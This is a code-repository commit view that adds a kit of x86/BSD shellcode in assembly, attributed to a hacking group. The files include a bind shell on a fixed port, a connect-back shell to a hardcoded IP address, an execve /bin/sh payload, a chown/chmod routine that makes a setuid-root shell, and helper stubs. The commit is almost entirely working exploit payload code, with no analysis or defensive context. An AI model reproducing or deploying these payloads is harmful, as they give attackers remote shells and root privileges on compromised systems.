summaryrefslogtreecommitdiff
path: root/other/shellkit/x86_bsd
diff options
context:
space:
mode:
authorRoot THC2026-02-24 12:42:47 +0000
committerRoot THC2026-02-24 12:42:47 +0000
commitc9cbeced5b3f2bdd7407e29c0811e65954132540 (patch)
treeaefc355416b561111819de159ccbd86c3004cf88 /other/shellkit/x86_bsd
parent073fe4bf9fca6bf40cef2886d75df832ef4b6fca (diff)
initial
Diffstat (limited to 'other/shellkit/x86_bsd')
-rw-r--r--other/shellkit/x86_bsd/FIXME_chmod.s43
-rw-r--r--other/shellkit/x86_bsd/bindshell.s59
-rw-r--r--other/shellkit/x86_bsd/connectshbin0 -> 6100 bytes
-rw-r--r--other/shellkit/x86_bsd/connectsh.s51
-rw-r--r--other/shellkit/x86_bsd/execveshbin0 -> 6034 bytes
-rw-r--r--other/shellkit/x86_bsd/execvesh.s31
-rw-r--r--other/shellkit/x86_bsd/exit.s18
-rw-r--r--other/shellkit/x86_bsd/spset.s36
8 files changed, 238 insertions, 0 deletions
diff --git a/other/shellkit/x86_bsd/FIXME_chmod.s b/other/shellkit/x86_bsd/FIXME_chmod.s
new file mode 100644
index 0000000..6f19d23
--- /dev/null
+++ b/other/shellkit/x86_bsd/FIXME_chmod.s
@@ -0,0 +1,43 @@
1/* x86/BSD PIC local chmod code
2 *
3 * by stealth
4 */
5
6 .globl cbegin
7 .globl cend
8
9cbegin:
10 jmp boomsh
11
12foo: popl %ebx
13 incl (%ebx)
14 incl 4(%ebx)
15
16 xorl %eax, %eax
17 movb %al, 11(%ebx)
18
19 movb $16, %al /* chown */
20 xorl %ecx, %ecx
21 pushl %ecx
22 pushl %ecx
23 pushl %ebx
24 pushl $1
25sys_1: int $0x80
26
27 xorl %eax, %eax /* chmod */
28 movb $15, %al
29 pushw $06755
30 pushl %ebx
31 pushl $1
32sys_2: int $0x80
33
34 xorl %eax, %eax
35 incl %eax /* exit */
36 pushl $1
37sys_3: int $0x80
38
39boomsh: call foo
40 .string ".tmp.boomsh.";
41cend:
42
43
diff --git a/other/shellkit/x86_bsd/bindshell.s b/other/shellkit/x86_bsd/bindshell.s
new file mode 100644
index 0000000..8921fa9
--- /dev/null
+++ b/other/shellkit/x86_bsd/bindshell.s
@@ -0,0 +1,59 @@
1/* x86/BSD bindsh shellcode (73 bytes)
2
3 lorian / teso
4*/
5
6 .globl _cbegin
7 .globl cbegin
8 .globl _cend
9 .globl cend
10
11_cbegin:
12cbegin:
13 xorl %ebx, %ebx
14 mull %ebx
15 pushl %ebx
16 incl %ebx
17 pushl %ebx
18 incl %ebx
19 pushl %ebx
20 movb $0x61, %al
21 pushl %ebx
22 int $0x80
23 xchgl %esi, %eax
24 pushl %edx
25 pushw $0x4444
26 pushw %bx
27 movl %esp, %ebp
28 pushl $0x10
29 pushl %ebp
30 pushl %esi
31 pushl %esi
32 pushl $0x68
33 popl %eax
34 int $0x80
35 movb $0x6a, %al
36 int $0x80
37 pusha
38 movb $0x1e, %al
39 int $0x80
40a:
41 pushl %ebx
42 pushl %eax
43 pushl %eax
44 movb $0x5a, %al
45 int $0x80
46 decl %ebx
47 jns a
48 pushl %edx
49 movl %esp, %ebx
50 push $0x68732F6E
51 push $0x69622F2F
52 pusha
53 popl %esi
54 popl %esi
55 movb $0x3b, %al
56 int $0x80
57
58_cend:
59cend:
diff --git a/other/shellkit/x86_bsd/connectsh b/other/shellkit/x86_bsd/connectsh
new file mode 100644
index 0000000..f9aaab7
--- /dev/null
+++ b/other/shellkit/x86_bsd/connectsh
Binary files differ
diff --git a/other/shellkit/x86_bsd/connectsh.s b/other/shellkit/x86_bsd/connectsh.s
new file mode 100644
index 0000000..562f5ef
--- /dev/null
+++ b/other/shellkit/x86_bsd/connectsh.s
@@ -0,0 +1,51 @@
1/* x86/BSD connectsh shellcode (66 bytes)
2
3 lorian / teso
4*/
5
6 .globl _cbegin
7 .globl cbegin
8 .globl _cend
9 .globl cend
10
11_cbegin:
12cbegin:
13 xorl %ebp, %ebp
14 mull %ebp
15 pushl %ebp
16 incl %ebp
17 pushl %ebp
18 incl %ebp
19 pushl %ebp
20 movb $0x61, %al
21 pushl %ebp
22 int $0x80
23 xchgl %esi, %eax
24 pushl $0xcab058c3
25 pushw $0x4444
26 pushw %bp
27 movl %esp, %edi
28 pushl $0x10
29 pushl %edi
30 pushl %esi
31 pushl %esi
32 pushl $0x62
33 popl %eax
34 int $0x80
35a: pusha
36 movb $0x5a, %al
37 int $0x80
38 decl %ebp
39 jns a
40 pushl %edx
41 movl %esp, %ebx
42 push $0x68732F6E
43 push $0x69622F2F
44 pusha
45 popl %esi
46 popl %esi
47 movb $0x3b, %al
48 int $0x80
49
50_cend:
51cend:
diff --git a/other/shellkit/x86_bsd/execvesh b/other/shellkit/x86_bsd/execvesh
new file mode 100644
index 0000000..7518768
--- /dev/null
+++ b/other/shellkit/x86_bsd/execvesh
Binary files differ
diff --git a/other/shellkit/x86_bsd/execvesh.s b/other/shellkit/x86_bsd/execvesh.s
new file mode 100644
index 0000000..370e7a4
--- /dev/null
+++ b/other/shellkit/x86_bsd/execvesh.s
@@ -0,0 +1,31 @@
1/* x86/BSD execve /bin/sh shellcode
2 *
3 * lorian / teso
4 */
5
6/* somehow the obsd on plan9 where i tested it, needs the labels
7 * exported with _ before, while freebsd doesnt
8 */
9
10/* argv: OBSD needs a pointer to NULL, FBSD accepts NULL */
11
12 .globl cbegin
13 .globl _cbegin
14 .globl cend
15 .globl _cend
16
17_cbegin:
18cbegin:
19 pushl $0x3b
20 popl %eax
21 cdq
22 pushl %edx
23 movl %esp, %ebx
24 push $0x68732F6E
25 push $0x69622F2F
26 pusha /* FULLPOWER */
27 pop %esi
28 pop %esi
29 int $0x80
30_cend:
31cend:
diff --git a/other/shellkit/x86_bsd/exit.s b/other/shellkit/x86_bsd/exit.s
new file mode 100644
index 0000000..7993035
--- /dev/null
+++ b/other/shellkit/x86_bsd/exit.s
@@ -0,0 +1,18 @@
1/* x86/BSD exit shellcode
2 *
3 * lorian / teso
4 */
5 .globl cbegin
6 .globl _cbegin
7 .globl cend
8 .globl _cend
9
10_cbegin:
11cbegin:
12
13 xorl %eax, %eax
14 incl %eax
15 int $0x80
16
17_cend:
18cend:
diff --git a/other/shellkit/x86_bsd/spset.s b/other/shellkit/x86_bsd/spset.s
new file mode 100644
index 0000000..9bc19f4
--- /dev/null
+++ b/other/shellkit/x86_bsd/spset.s
@@ -0,0 +1,36 @@
1/* x86 spset shellcode
2 *
3 * lorian / teso
4 */
5 .globl cbegin
6 .globl _cbegin
7 .globl cend
8 .globl _cend
9
10/* searches for 512 bytes "free" space on stack without destroying it
11 * like any kind of call would do...
12 *
13 * NOTE: your real shellcode must be terminated with
14 * \x78\x56\x34\x12 for this code to work...
15 */
16
17_cbegin:
18cbegin:
19
20 movl $0x12345678, %eax
21a:
22 cdq
23 movb $0x02, %dh
24b:
25 popl %ebx
26 pushl %ebx
27 incl %esp
28 decl %edx
29 jz c
30 cmpl %eax, %ebx
31 je a
32 jmp b
33c:
34
35_cend:
36cend: